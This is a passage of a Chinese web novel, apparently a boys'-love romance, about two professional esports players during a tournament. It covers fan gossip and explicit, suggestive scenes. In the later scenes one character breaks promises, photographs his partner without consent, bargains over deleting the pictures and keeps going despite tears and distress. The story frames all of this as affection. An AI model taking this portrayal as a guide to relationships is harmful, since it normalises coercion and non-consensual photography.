没有什么过多的兴奋与波动,池一黎面色如常地收起设备,抱着键盘站起身,回复说:“我周四晚上播。” “okay,那我就只明天挂你直播间了。”庄路弥点点头,脑子一转又调侃道,“诶,周四是WGS比赛,大宝贝,你是要和我爸一起直播啊?” 池一黎“嗯”了一声,动作间碎发从眉眼前浮动而过,烟灰色的眸瞳沉静,面色冷白,只有薄唇沾了点血色的微红。宽松的队服袖口因重力因素大幅度下移,露出雪白腕骨上几道淡到看不真切的绯色浅痕。 韩城拿池一黎没办法,只能拿脚去踹庄路弥:“你能不能别他爹的认贼作父了!你这个叛徒!” 白书罗沉稳又熟练地伸手拉住他的领子,拿出队长的架子道:“去和对面握手。” 十个人面对面站着,只有池一黎一个人穿的外套。对面关系还不错的上单稀奇地问他:“三水儿,你穿这么厚不热吗?” 这件事队友同样想知道,但他们只是单纯在心里想想,害怕问了韩城半夜偷偷摸摸真的去砸ZKS的门。 池一黎顿了下,回他:“还好。” 这些天为了掩盖住脖子上过于明显的吻痕,池一黎一直穿的外套。尽管那些痕迹现在已经消退的差不多,但外套穿的太久难免习惯起来,脱掉反而诡异地有些在裸奔的不适应感。 好在队服外套的面料属于轻薄款,在开着暖气的室内穿也不会觉得闷热。而且最主要的一点,比赛时需要穿队服,池一黎今天里面穿的是牧绍的衣服。 昨天牧绍哄着他把衣服脱掉睡觉,又再三保证因为明天比赛,所以什么也不会干。在池一黎犹豫着答应后,心满意足地把脸埋进胸膛中间柔软的沟壑里蹭了蹭,在他微弱到几乎可以不计的颤栗中这样睡了一整晚。 早上起床后池一黎随手抓住前一天放好的队服短袖套在身上。洗漱时又被牧绍压在洗漱台上亲了好久,听到韩城他们在门口按了门铃来接他,连外套也忘记穿,头脑不清地就打算这样直接出门。 这副样子和雪貂一模一样,牧绍一把抱住他,忍不住笑道:“宝贝儿池一黎,你打算这样出去?不像是去比赛的,看起来倒像是去找其他男朋友的。” 哪里来的其他男朋友,池一黎不解起来。他就只谈过牧绍一个人,毕竟他一冷脸,全世界自动退避三舍。 牧绍嘴里又在胡言乱语,池一黎扭过头不接话,牧绍就不打招呼地又直接亲上来,亲完还要去强调说自己特别喜欢看池一黎这副闹脾气不说话的样子,惹得池一黎在脑海里速度缓慢地旋转了一会儿他的话,不知道该拿什么样的态度对他才好。 冷下脸会被牧绍说可爱,不理他牧绍就一直逗他。池一黎凝起眉,干脆地问他怎么了。 牧绍佯装很凶地咬他的唇瓣,勾起唇接着说:“你这样穿出去是去给那些人送福利的。”他专门强调般地补充道,“福利只能给我看,不准给其他人看。” HWD战队的队服短袖属于修身款,版型自带收腰,橙白的配色又亮又吸睛。只要是个人,稍微收拾一下,穿上都会有种氛围感般的帅气。更别提池一黎肩宽腰细,脸更是秒杀娱乐圈明星的、无可挑剔的顶级容貌,如果类比男模配置的话,说是送福利倒也没错。 但牧绍这句话显然意有所指。 池一黎随着牧绍的视线慢半拍地低下头,后知后觉地感受到今天的衣服莫名变得有一点紧,布料被圆润事物撑得太过饱满,完美勾勒出紧致的曲线,从领口处看进去,雪白肌肤被衣服勒出大片大片的红色印记。 短袖下摆略微灌风,两处柔软经历这些天的摧残有些实在过于敏感,不贴创可贴时,轻微摩擦便会自然显现出的硕大一眼就能看到,薄薄一层衣料根本没有办法遮住。 牧绍用手很浅地戳了戳最边缘,染笑评价道:“福利。” 他拿了一件自己的衬衫走过来,纯黑色,版型很宽,领边自带链条设计,胸口图案是酷炫的英文字母,两侧肩膀还分别贴了长条亮片,非常符合牧绍的个人穿搭风格。 这些天里全身上下都已经被牧绍揉过很多遍,池一黎没什么羞耻感地在他面前将队服短袖脱下来,任由牧绍把衬衫套到他身上。 牧绍贴近了点说要帮他系扣子,话还没说完就已经上手行动。手指碰到衣襟,从最下面那一颗开始,动作缓慢而认真。 池一黎安静地坐在那里看着他动作,乖巧地如同等待命令的小机器人。直到牧绍系到胸口那几颗时,指节不经意间碰触到裸露在空气中的粉红一粒。 他下意识躬身向后缩了一下,但看到牧绍仍然一本正经地接着拿起上方的扣子塞进扣孔,似乎刚刚只是无意之举。池一黎攥了攥身下的被单,慢动作地直起腰,摆回了之前的姿势。 套上冲锋衣后,胸口处还是会微微显现一点弧度,但远远没有之前那样直观。微长的发丝散落在脖颈,池一黎浅浅垂眸,从外表看来显得酷到发冷。 牧绍趁池一黎不注意,再次把他压在床上亲。从鼻梁那颗灰色浅痣一路细细地吻到嘴角。随着唇瓣不断落下,半边身体也都被吻住一样跟着开始发痒,酥麻感顺着脊椎一路蔓延,让他忍不住微微蜷缩。 池一黎伸出手推他,想说韩城他们正在外面等他,又被牧绍噙住唇瓣,只能从喉咙里发出几句模糊不清的音节。 牧绍一早上就连续把三次机会用完,虽然行为有些突如其来的过分,但三次机会里,不管什么时候亲池一黎都不会生气。一想到接下来一整天可能都亲不到,牧绍索性一不做二不休,微微用力咬破池一黎的下唇。 伤口微不足道,几乎没有痛感,不过几分钟就会自然愈合,牧绍把那一滴暗红舔掉,哑声说:“标记一下。池一黎,你不准勾引其他人。” 浅色的眸子眨了眨,池一黎思考了一会儿,不解地低声反驳:“……我没有……勾引其他人。” “就是有。”牧绍秒速接话说,语气带着隐而不显的轻微不爽,被他很好的藏了起来,“你都打算那样出去了。” 他把脑袋熟练地埋进池一黎脖颈处,用脸颊蹭了蹭,带着一贯糖果与薄荷混杂的甜腻气息,闷闷道:“池一黎,你不可以给别人看。你的身体只可以给身为男朋友的我看。就算是一点点其他人也不能看到。” 池一黎抿住唇看着他,半晌低低地嗯了一声。 “你要补偿我。” 牧绍抬眼,嘴角挂着促狭的笑意:“那件衣服到了,你今天晚上比赛完穿……” 牧绍这一连串话语跟的很紧,要不是自己实际上什么都还没干,池一黎都快要被他根本不通的逻辑绕进去。在下意识点头答应前,他突然回忆起牧绍给他看的那张商家图,想到那张过于暴露的图片,神色纠结一瞬,侧过头不再看他。 牧绍讨好地亲亲他:“就单纯当是给我看,漂亮的池一黎,可爱的池一黎,甜心宝贝池一黎,之前说好的,你穿一下,就穿一下,我就看看,什么都不干。” 池一黎打定主意在想好前暂时先不理他。从早上分开后到现在,九个小时,牧绍发来的微信消息他也当没看到处理。 韩城早上在门口等了二十多分钟,对于这段感情更加秉持不支持的支持分手理念,现在的首要任务他认为是先把村长赶出房门。 但池一黎看起来不怎么在意且接受良好,在韩城拐弯抹角地抨击村长不良行为时只短暂抬眸嗯了一声。于是他只能在背地里继续对着新出炉的女朋友流泪咬手帕。 回到酒店后老梁在大会议室进行了详细复盘,ZKS全队今天都没去场馆,牧绍下训后打听到HWD的复盘地点,蹲点在门口等他。 池一黎握着笔记本身高腿长地走出门,身旁庄路弥和韩城在互骂对方是菜狗。他用浅色眼眸淡淡扫过一眼,而后冷酷地站在那里,慢慢将目光落到牧绍身上。 牧绍立刻迈出几大步移动过去。 他打听HWD复盘地点,那就是池一黎没有告诉他地方,两个黏成那样的人都没有交流,这点说明什么,他早上肯定惹池一黎生气了。 比赛前又不收手机,从松闵对于他九个小时没有收到回复这件事情予以深刻的同情,哥两好地拍拍他的肩。又在听到他妄图干什么后沉默了一下,和伍于起一边打游戏一边一起想出了一些补救的措施,然后转身添油加醋地将他“九小时高冷貂不理”事迹八卦到了整个联盟。 在HWD全队的死亡凝视下,牧绍试探性地勾住他的食指,语气没敢太嚣张:“今天是心软的池一黎吗?” 池一黎嘴唇抿成一条直线,看他几秒,末了又垂下眼帘,眼睑像是渡了一层未曾消融的冰凉雪。抬腿向前走路时没有说一句话,但是也没有抽开他的手。 看来今天的确是心软的池一黎,牧绍捏捏他的指腹,迈步跟上他,特意保持同频的走路节奏,话语不间断地继续哄他:“宝贝儿池一黎,你到现在为止已经九个小时没和我说过话了,我今天一天都在疯狂想你,微信上给你发了几百条消息,你都没有回复我。” “我在训练室全程看了你的比赛,今天发挥的特别完美。我刚才给你用红茶和牛奶熬了点奶茶,加了一点糖,还做了一些小饼干在房间里,你理理我好不好?” 池一黎还是只向前走路不开口,看起来就像是没有听到他这句话。 这样选择性听自己想听东西的态度简直过于眼熟,但是恰恰是这样,更加证明池一黎这会儿非常好哄。 牧绍装作很失落的样子凑到他耳边,悻悻地小声说:“那今晚不穿好了……池一黎,你不要不理我。” 他顿了顿,见到池一黎果真不出意外地和往常一样,把看向前方的视线转移到自己身上,不由得勾了点笑。 温热的气息呼到耳后,池一黎刚想开口回复,如果牧绍实在想看的话也不是不可以,左右就是一件布料很少的衣服,自己也没有什么是牧绍没有看过的。 这时,牧绍刻意压低声音的声音从耳畔传来,他说:“虽然我……特别想看、无敌想看、极其想看、疯狂想看、最近连做梦都想看。” 第57章 庄路弥和韩城在第三天晚上一起解说ZKS比赛凑直播时长, 两个人都挂的池一黎直播间。 《九小时高冷貂不理木勺》事件经过从松闵和伍于起润色,再由韩城携手好伙伴们进行大力推广,在大联盟优秀电竞选手看热闹不嫌事大的八卦下连夜冲上热搜。 词条在一整个白天都明晃晃挂着, 正值赛事期间,微博广场满是各种各样的负面阴谋论与撕逼大战,各类博主撰写的‘神帝冷脸相对?ZKS战队与HWD战队疑似不合, 赛场前0交流!’,‘昔日对手赛前却形同陌路?神帝零交流疑似另有隐情!’此类文章层出不穷。 但结合池一黎前一天突兀的高领队服及其经显微镜粉丝放大后异常高清的手腕痕迹,论坛新帖子已经简单粗暴地讨论到了:《图楼玫瑰批进!他神疑似赛前强制爱, 李涛你皇是闹分手还是单纯闹脾气?》 一楼如此回复:所有不以分手为目标的闹脾气都是在撒娇。 韩城对于这句话持之以看玩笑一乐的状态, 他每天都在向游戏之神祈祷他和村长赶紧分手。 现役战队选手开播前平台都会发布预告,粉丝在收到消息后去直播间蹲点。没蹲到心心念念的高冷正主,倒是等来了当事人的两个傻狗队友。 粉丝发弹幕问:三水是不是被村长欺负了才不理人?乐姐说他有时候控制不住会哭, 会不会这次背地里也在悄悄掉眼泪TT,就说村长那副欠揍德行这恋爱谈不了,可恶!等我们去他微博下骂个片甲不留! 照例来HWD战队直播间视奸的ZKS粉丝看到这一幕,表面愤然道:干点情侣都会干的事而已, 怎么这就是欺负了?高冷就算了怎么可以不理人呢?几天后决赛拿不了冠军, 是不是还要骂木勺在赛场上家暴?! 然后转头比他们先一步在牧绍微博下屠评谴责自己正主。 韩城心情正好,巴不得池一黎保持昨天的态度继续不理牧绍, 吊儿郎当地回复道:“我们三水不想理就不理呗,带节奏的那些都是什么玩意儿, 房管把他们全给我封了!” “反应这么大做什么?”庄路弥不以为意地继续看比赛,一边吃饭一边说:“小情侣之间的情趣罢了,你们懂什么!” 在韩城的禁言手段下,三个直播间的人都被迫地一起对着屏幕专注地观看比赛。 牧绍整场的表现堪称完美,和粉丝猜测的叹气、失落、难受等情绪截然相反, 他嘴角始终勾着懒散的笑意,在和队友的谈笑间轻松地拿下了本场对局的mvp。 完全没有传闻两人不和的失意状态。 比完赛起身握手,牧绍和队友一起走到场地中间,第一排一个红衣服的男粉丝举起板子,站起来气势如虹地大喊:“爹!你怎么——今天这么——开心——?!我妈——池三水——刚嫁过来——,怎么就——不理你了——?!” 因为不是HWD战队的比赛时间,赛场内几乎没有属性纯正的粉丝,混邪乐子人比比皆是,观众席响起一阵阵起哄声音,本就热闹的气氛更加被点燃。 “什么时候不理我了?”牧绍接过主持人递来的话筒,懒洋洋地挑了挑眉,语气里带着几分戏谑,“新婚热恋中,你妈现在正等着我比完赛回去哄他。” 话音刚落,全场瞬间炸开了锅。从松闵看了他一眼,毫不掩饰地在台上啧了一声。 韩城一口水喷出来,慌忙地找卫生纸,指着屏幕握起草:“沃日,村长怎么这样不要脸?!” 庄路弥拿筷子的动作一顿,后知后觉道:“原来前天那时候,三水还真被他惹生气了?” 已经消气的池一黎正在房间里动作缓慢地穿衣服。 挂墙电视上正播放着ZKS今天比赛的直播,记录数据的笔记本摊开在眼前。牧绍回复的那句话说出的时候,池一黎正照着他上场前发来的那张设计图,把白色的蝴蝶结扣在锁骨上方两条黑色的交叉领子上。 被黑色布条围起来的胸膛整个在空气里裸露出来,饱满的浑圆被从两侧勒在一起挤出很深的沟壑,胸口菱形镂空的周围还缀有一些蓬状的白色花边。 女仆装是一体式的设计,腰腹前薄薄一片轻盈的黑色蕾丝布料将上身与堪堪盖住腿根的黑白短裙连接在一起。蕾丝裙身分了三层,上面缝了三个很小的白色蝴蝶结,中间两道很细的绳子勒在下方,整件衣物仅依靠一条穿过腰后的黑色松紧带固定在身体上。 昨天回房间路上牧绍说出的那番话简直过于强烈直白,池一黎还没有进门就答应他自己会穿。但是衣服刚到还没有来得及洗,刚好第四天都没有比赛安排,牧绍就顺势说推迟到第三天他比赛结束好了。 被那两道绳子勒住的不适感过于明显,池一黎用手指小心地勾起来想把它剪掉,但他没有穿过这种看起来一扯就会碎掉的衣服,怕一体式的蕾丝裙被剪断一点就会全然松散,只能整个人僵硬地跪在那里,嘴角抿成一道薄薄的直线,半晌很轻地松开手,低头看床上那些其他零零散散的配饰。 除过黑色蕾丝袜和腕带,其余那些东西他基本都不知道是要穿在哪里,看着设计书才一个一个对着搞懂。想着穿上衣服应该就可以,但是昨天已经答应了牧绍要穿上全套。 整件衣服他一开始都以为会小,毕竟他一米八七的个子,身材也并非纤细的类型。但是穿上后才发现这件女仆装版型得体,因为没有多余的布料,所有贴紧皮肤的地方大小都恰到好处,完美贴合他的身形。 池一黎慢慢地动了动身体,因为做过一定心理预期,所以没有觉得太过于难受。他静静地适应了一会儿,戴上蕾丝腕带,慢动作地坐在床上,拿起爱心镂空设计的腿夹,把花边高筒袜固定在大腿上。 一旁的笔记本上放着最后两个配饰。那两个被绳子穿起来的铃铛看着像是挂件,绳头分别固定贴在两个透明色的夹子上,池一黎对着设计图研究了一会儿,安静地把它拿起来,力度很轻地放在设计图对应的地方。 【】他突然想起昨天晚上牧绍翻微博给他看粉丝评论,洋洋得意地强调道全世界都觉得他们两个很相配。然后凑过来亲吻他,说她们评论你冷酷、傲慢、冰川般的不好接触…… 【】“但只有我窥探到——你冷酷皮囊下温柔漂亮的灵魂。” 【】两道矛盾的意识开始碰撞,池一黎不觉发晕,指节深深陷入被褥的棉花中,思绪又再一次飘到前几天和父母的谈话。 不知道过了多久,身后突然传来一道很重的关门声音。 帆布鞋踩在地板上的声音轻到几乎没有,但这一刻却无比清晰地传入耳畔,池一黎身体猛地一颤,被从朦胧的感觉中硬生生拽入现实,眸瞳凝结起一片透明的波澜湖泊。 他眨着湿漉漉的眼睛回头,看向跨进门走来的那个人。 牧绍穿着纯黑色的队服,身型被模糊的视线拉的修长,碎发下的眸瞳暗沉沉,靠近时,身上带着很甜的橘子糖味。 他勾起唇站在床边看着池一黎,看到他湿润的眼睫,那道平日中冷酷如雪峰的目光带着难掩的恍惚,仿佛卸下了所有的防备,再一次将自己全然对他展露开来。 【】领口蝴蝶结下精致的锁骨半遮半掩,雪白色的皮肤经过黑色布料的反衬,伴随着铃铛浅浅预示自己的存在感。在灯光下显得愈发刺目细腻,形成一种强烈的视觉冲击。 【】他的皮肤洁净如初,之前的那些痕迹已经消散的几乎看不出来,因为什么都没经历,也什么都没发生。 【】眼前的所有都过于引人注目,牧绍撩起他脖颈间微长的碎发,视线扫过他的背脊,两侧在肩胛处微微突显的蝴蝶骨轮廓清晰,线条从肩部向下延伸,伴随着池一黎的呼吸逐渐收拢。 【】轻薄的肌肉轮廓在紧致的皮肤下若隐若现,每一寸肌肤都仿佛被冰晶包裹,如同游戏里会魔法造雪的法师,幻视冬日里的霜雪。 牧绍伸出手,短暂地碰触了一下他的挂坠。 【】铃铛声坠入耳膜,感官仿佛被无限放大,池一黎视野一瞬间看不真切,撑在床上的手臂抬起又落下,最后捏住了牧绍自然垂落到手边的队服外套。 【】脑海在想象自己是游戏中即将被打败的终极boss,面对勇者和他的刀剑武器时溃不成军。 滚烫的眼泪控制不住地掉落下来,撞进牧绍举起的镜头。 池一黎拽住牧绍的衣角,指尖微微用力,用浅色的眸瞳直直地注视着他,凝起眉时显得神色冷峻,眼睫湿湿,语气很轻地警示道:“不准照。” 牧绍把手机扔到一旁,伸出手一把抱住他,脸颊碰到衣着上的镂空布料。他叼起铃铛在唇齿间磕了磕,语气带着很深的笑意:“池三水,你怎么这么乖。” 【】池一黎半晌回神过来,没有怎么用力地轻轻推他,开口回复道:“……我答应你了。” 【】牧绍闷笑一声,用右手食指勾起爱心腿夹的空隙,指腹摩挲着,又向上移动摸到他腿侧的衣服,勾了勾它的布料。 蕾丝边裙摆落在手腕上的触感有些扎人,牧绍把脸埋了会儿,抬头时听到耳畔铃铛细碎响起,抬眼问他:“今天是我的专属女仆吗?” “穿的这么可爱,是不是下一句就要说一句:‘欢迎回来,主人是先吃饭还是先吃我’,然后我说什么都会乖乖地照做……” 池一黎抿起唇,眸光闪着即将掉落而出的泪花,声音低低地说:“…你说什么都不干的。” “但是现在才十点,”牧绍表情很是信誓旦旦,说:“我们明天都没有比赛,而你下一场是在两天后的晚上,不会有任何影响的。” 队服外套扫过,带来几丝微不可查的痒意他,牧绍凑过去亲他,哄道:“而且我最近不就是什么也没干嘛,池一黎,池一黎,池一黎,你相信我,我绝对、以及肯定不会像上次那样过分的。” 牧绍的表情过于真挚,池一黎不由得被带着一起思考起来,半晌犹豫着点了点头。 牧绍的那只手环过腰间,毫无征兆地霍然加重。 【】铃铛声不断地响起。像是海边的风铃发出清脆悦耳的声音。 【】只能依稀分辨出原本的白,左侧铃铛被牧绍拿下来扔到地上,右侧铃铛被他随手夹到领口的蝴蝶结上,仍然伴随着动作铃铃作响。 【】池一黎被哄着开口说话,但之前还好,此刻被他特意点出来后,不管他怎么说,池一黎都紧紧闭着嘴巴不说一个字,只是把脸埋起来不断地掉眼泪,像是幼儿园小学生被欺负后闹脾气,打定主意一点也不理他。 【】怕他把自己憋的闷气,牧绍直接扣住腰把他提起来,捏住他的下颚,低下头轻车熟路地撬开牙关,吻着渡进去几口水。池一黎咽喉仍然干涩,一点力道也没有地伸手去推他,反而被轻易地抓住手腕。 一整杯水就这样被牧绍喂完,随后他蹭了蹭池一黎的脖颈,声音低低地问他:“宝贝儿池一黎,你怎么不说话?” 池一黎嘴里发出短促的喘息,下一秒又紧紧咬住唇,尽可能地平复起自己的心情。 【】实践证明,牧绍说的所有话没有几个可以相信的。他这个人随心所欲惯了,不达目的誓不罢休,为了实现自己的想法什么都说得出来,哄骗的情话一大堆,不知道是从网上还是哪里学来的,池一黎简直拿他一点办法都没有。 牧绍搂着他点开屏幕,再点进去私密相册,把手机放到他眼下,低声时带着点顽劣的笑意,哄道:“那你说一句话,我就删一张,这样好不好?” 池一黎凝了凝神,半天才看清上面显示的东西。相册里全部都是他,超过一千张的照片,最新的几十张是穿着现在身上这件的不同特写,时间显示就是在刚刚照的。 根本没有任何记忆,池一黎完全不清楚他是什么时候拿起的手机,哽咽着摇头,冷到与雪没有两样的感觉彻底消失不见。声线暗哑,带着压抑不住的哭腔,哽咽道:“……牧绍…你说话,不算数。” 他说一个字,就很慢地跟着呼吸一次,听着又快要喘不过气,但语调极为认真,像是在非常严肃地强调。 牧绍熟练无比地凑过去亲亲他,同样用一种很认真的语气。他一连串说出很多句话,又是哄又是吻,脑袋蹭了蹭池一黎的脖颈,终于把他哄得愿意开口。 他把想听的词语都打在备忘录里,池一黎每次压抑着喘息叫他时,他都要点击录音,然后播放一遍,确认录上后才算是有效的一次。 确认完后,牧绍接着在自己的图库里一张一张地滑动,很是勉强地挑挑拣拣删了几十张。大多是不怎么清晰的照片,有些模糊,有些光线不佳,有些甚至只能勉强能看清一点痕迹。 【】池一黎听着耳畔循环播放的声音,低头看着自己现在的模样,侧过头,安静地掉着眼泪,闭上嘴不说话了。 他不说话,牧绍就一直抱着他看照片。各种各样的,睡着的醒着的,掉眼泪的没掉眼泪的,池一黎看着那完全滑不到尽头的图库,语调闷闷地开口:“不……” 牧绍舔掉他的薄红眼尾处滚落的泪滴:“什么?” “……想理你。” 牧绍把手机关上,忍俊不禁地勾起唇:“那宝贝儿池一黎,你亲亲我,亲了我就……” 池一黎被他翻了个身,不禁将自己整个人的重量都压在他身上,有些克制住不住地应激颤抖,听到这句话后微微抬起头。 眼睫颤动时像是羽毛扫过心尖,浅色的眸瞳尽数被水雾掩盖住。池一黎凝神盯了他两分钟,才轻轻撑起自己,在牧绍懒散期待的眸色中贴过去,听话地在后者唇瓣上落下一吻。 唇上传来实打实的触感,池一黎退回去,用那双泛着涟漪的浅灰色眸子看他。牧绍因为他的举动感到十分愉悦,快速把刚刚那句话补充完:“……我就也亲亲你。” 似乎是打算耍赖到底,这一句话说完,他毫不客气地低下头,贴着池一黎的颈窝咬了一口。 池一黎等着他放开自己,抿住唇沉默地看着他,虽然还在掉着眼泪,但浅淡的眸瞳深处没有什么情绪,攥着牧绍衣袖的指节用力到泛白,表情中带着点平静的冷酷。 这副冷下脸的表情和以往都不一样,显然,这次池一黎是真的生气了。 牧绍不急不缓地拿起手机放到他面前,当着他的面流畅地滑动,点击全部勾选,然后一键删除。 牧绍眨了眨眼睛,凑近亲亲他:“我很听话的,宝贝儿池一黎,你看都删掉了。” 图库空荡荡,池一黎垂下眼帘静静地盯着被清空的手机屏幕,好一会儿,他伸手搂住牧绍的脖颈,把自己蜷缩起来埋到他怀里。 牧绍想看的时候他都会给他看,池一黎完全不理解他为什么还要照相,尤其是还没有经过他的同意。 他把脸埋进牧绍衣领,用沙哑的语调,一字一顿闷闷道:“牧绍……我不理你了。” 第58章 这一场持续的时间太久, 池一黎不清楚自己是什么时候彻底失去的意识,醒来时已经到了第二天下午三点。 他宣布不理人时的语气异常认真,那几个字被用一种很严肃的语调顿错地吐出来, 明明是在简单的宣布,但音色软腻,腔调还伴随着破碎的颤抖, 再配上前一秒才主动窝进牧绍怀里的动作,以及那一身引人犯罪的衣着,听起来完全是一句直白邀请。 更何况他总是把这句话挂在嘴边。 牧绍的视线微微侧移, 池一黎还环着他的脖子没有放开, 纯色队服的布料被眼泪砸到后晕开一片深色,怀里的人闭着眼睛,婴儿直的睫毛还挂着泪珠。 他将整个人的重量压在牧绍身上, 领口处的铃铛叮铃作响。衣裙间泛粉的瓷白肌肤紧贴纯黑色的队服,两者形成的反差感过于强烈,像是在欢迎什么人对他为所欲为。 完美戳中大脑神经系统里的兴奋灶,牧绍暗沉的眸瞳里闪过诡异的兴奋与愉悦, 心头□□未消, 在这场关于忍耐力的挑战中坚持了零点零零一秒。反正池一黎一开始已经点头,索性一不做二不休地说:“不理我的话, 那我就对你不客气了。” 这句话是在单纯通知,没有留给池一黎什么反应的时间, 牧绍扣着他的腰一个翻身,后半夜的行为变得丝毫不加收敛。 【】牧绍像是抓住猎物后露出獠牙的野兽,恶劣的本性暴露无遗,看到他将近窒息,不管怎么说也不停下来放过他。 【】已经完全忘记最后是怎么睡着的, 第二天池一黎起床时视野里没有看到他,下意识想去寻找他的身影,目光在房间里转了一圈,又很快地调节起自己的心情,抿起唇沉默下来。 幸好今天教练没有安排强制的训练计划,只是让他们有需要的话自己在房间随便练练。 浑身都不舒服,但还没有到一点力气也没有的程度。池一黎伸手去拿床头装满水的杯子,一下没拿稳掉到床上,第二下才拿起来,喝水时咽喉微微发疼,感觉连说话都有些困难。 【】手机里是教练他们发来的消息,还有韩城例行分享的一些搞笑视频,池一黎随意扫了一眼关掉,手指微微蜷缩,打算一会儿打开电脑再回他们。 他勉强撑住自己直起身体,踩在地板上有些软绵绵的,走路像是在飘着走,但站在原地适应了一会儿,很快没有什么大碍。 牧绍从门口把餐车推进来,走过来伸手想打横抱起他,又被他捏住衣服袖口的动作截停。 池一黎扯住他的袖口往一边拽,没怎么用力,牧绍就自觉地随着他动作的方向往旁边横移了一步。 动作间微长的碎发散落在后颈,露出的一截下颚线锋利冰冷,池一黎嘴唇微抿,眉眼下垂,睫毛也压着光,站在他面前,又恢复到了冷酷薄凉的冰山模样。 只是眼尾像是被眼影涂抹过一般点缀了些许消散不掉的红,唇色极深,平白无故在分外冷峻的轮廓上增添了几点糜烂意味。 牧绍扫过他遮盖的严严实实的高领黑色卫衣。痕迹被尽数遮住,这样看过去什么也看不到。 他凑过去在眼尾那处薄红亲了亲,身上带着一股好闻的薄荷糖味,顽劣的眉尾仿佛是知道做错事了一样耸拉下来。但细看过去,碎发下幽深肆意的眸瞳里没有半分心虚悔改。 做已经做完,行为再怎么过分都已经实施完毕,牧绍早上睁开眼睛就已经做好了池一黎生气不理他的准备,更别说池一黎总是心软。 他凑过去低哄道:“甜心宝贝池一黎,你怎么样?让我亲亲你。” 池一黎抬眼对上他食髓知味的跃然视线,下意识想要侧头躲掉。 牧绍看上去像是想在这里再来一次,得寸进尺到极度过分,池一黎这次是真的完全不想理他。但回忆起自己之前约法三章的第一条,安静了几秒,又把脸重新转了回来。 毕竟做人得讲诚信,至少不能像牧绍那样不知餍足还出尔反尔,说话完全没有任何可信度。 池一黎转过去又转回来,像是过载的小机器人没链接上似的任亲任抱。牧绍嘴角洋起笑,把他抵在桌子边,手臂虚环过去,俯身撬开柔软唇齿,细细密密地吮吸舔咬。 熟悉的气息骤然包围,似乎又感知到昨晚的失控难耐。 失去意识那一刻脆弱无助的情绪开始翻滚浮现,泪水如决堤的洪水,掉落到近乎呼吸困难,身心被另一个人全然掌控的脆弱感席卷脑海。池一黎瞬间不敢再有什么动作,靠在那里怔愣许久,神色空白一瞬,完全没有办法伸手去推开他。 牧绍注意到他脸上的表情,很快地松开他,后退一步:“我给你上药?” 牧绍凌晨干完坏事,心满意足地枕着柔软的斑驳入睡,起床后点餐叫了酒店的外送服务,准备给池一黎涂药时发现他已经起来了。 【】池一黎咬着自己的衣服坐在床边,皮肤上微微破皮的地方看着极为可怖,凉凉的触感随着指腹的温热一起席卷而来,他垂下眼睛,没有其他的动作,静静地看着牧绍给他涂药。 【】身体显然已经习惯牧绍的触碰。和例行的拥抱、见面时的十指相扣、睡觉前的晚安吻一样,经历过太多次已经形成身体的条件反应。对方的手刚刚伸过来,他就不由自主地主动贴了上去。 【】熟练地像是预演了无数次,行为如打游戏时见到小兵就会下意识点击鼠标左键进行普通攻击,训练赛时察觉到要失败就会果断申请投降,完全没有经过思考。 牧绍眸间藏不住的愉悦和调笑溢出眼眶,池一黎因自己反条件性的行为而瞳孔微缩,愣愣地看着牧绍,像是一只发懵的白色团子,意识无比清醒,看到他翘起又秒速下压的嘴角,为自己刚刚的反应感到些许羞耻与无措。 眼前的人穿着白色的低领卫衣,体型健壮有力,身材结实,持平一米九的身高蹲下也很大一坨,露出的皮肤上甚至没有任何痕迹。 昨天晚上池一黎只顾着掉眼泪,脑海里一片空白,被无意义的空洞占据了所有意识,完全变成了一滩尽数融化的雪水,环住他的脖颈便用光了所有力气,压根没有多余的心情再去咬他。 两个人身高相仿,此刻却完全不同。比赛打不过,现在又被像面点师傅揉面团一样肆无忌惮地揉捏。池一黎把尚且还可以控制住的泪感憋回去,垂着没有什么情绪的眸瞳,慢慢地张口松开嘴里的衣服下摆。 薄款卫衣布料落到牧绍的大臂上,盖住满堂绮丽色彩,无声地拒绝他的继续,任由牧绍怎么绞尽脑汁地说好话哄他,只抿着唇不说一句话。 牧绍把手拿掉,低下头去亲他,池一黎没有躲掉。被咬住唇瓣后,只是用烟灰色的眸瞳安静地看着他。面无表情时目光里缀着雾色与冷感,和牧绍还没开始追人那会儿一样冷酷。 想要抱他时被侧过身推开,伸出手指试探性地去勾,也把手指蜷缩起来避开了他的触碰。别说不说话,连碰都不让碰,这显然不是几句话可以哄得了的。 牧绍顿时丧失了笑意,收起嚣张得意的尾巴,小心谨慎道:“甜心,很难受吗?宝贝儿池一黎,你不要不说话,你这样我不知道该怎么办……是我做的太过分,我保证下次肯定会收敛一点,绝对不会再这样了。” 还想着下一次。 同样的话术,不知道从哪里学来的。说的永远比唱的好听,但一次比一次过分,牧绍的话毫无可信度,简直是满嘴跑火车。池一黎当他是空气。 “不要一个人生闷气,宝贝儿池一黎,你打我一下?要不要骂骂我解气?你谴责一下我,骂一下让我哄哄你。” 牧绍人生目前的二十三年单纯只会把别人气到想揍他,而池一黎基本没有脾气,被父母和朋友养的太好,哪怕很生气,随便几句情话也还是会心软原谅,仔细算下来压根没有正儿八经地哄过。 【】他怀念起昨天晚上让做什么就做什么的小女仆,会认真地喊他男朋友或者叫他哥哥,然后眨着湿漉漉的眼睛贴过来把自己缩在他的怀里。动不了也只是伸出手紧紧攥着他的衣袖。最多在受不住时蜷起身体,可还是会把自己展露出来,和眼前这个冰山模样的人一点也不一样。 池一黎现在连男朋友都不会叫一句,只会冷漠无比地连名带姓喊他,牧绍不由得压低声音道:“或者让我上完药,上完药你怎么不理我都可以,书上说破了皮会很疼,我……” 池一黎抬起眼皮瞪他。现在喉咙哑到一定程度,发出气音都自带哭腔,说简单的词语可以,长句子的话还比较困难。 池一黎不说话,牧绍直接把他抱起来放一旁的电竞椅上,看到他抬手间露出满是勒痕的腕骨,推拒的力度可以忽略不计。 牧绍伸手扯他的衣服,池一黎死死地拉住,眸瞳受惊时极速收缩,全然失去冷酷的神色,滚烫的泪水砸到他的手背。 “……牧绍,”池一黎拉不过他,心情起伏之间,终于开口说出今天的第一句话,掉着眼泪用哭腔骂他:“你是、坏蛋。” 短短六个字,话语沙哑,混杂着鼻音,听来缠绵惑人,明明是骂人的话,却连腔调都像是在撒娇。 牧绍右手挤出药膏,左单臂牢牢地把他的衣服固定在锁骨,语调褪去懒散只剩低沉:“你骂吧,你就算骂到想和我分手,我也得把药涂完,不然发炎了你会哭。” 池一黎脑海里毫无骂人的词汇,骂的话骂不动他;此刻身体只会微微战栗,推也推不动他。傲世群雄的身高和体型在牧绍面前毫无优势,只能任由他揉圆搓扁。 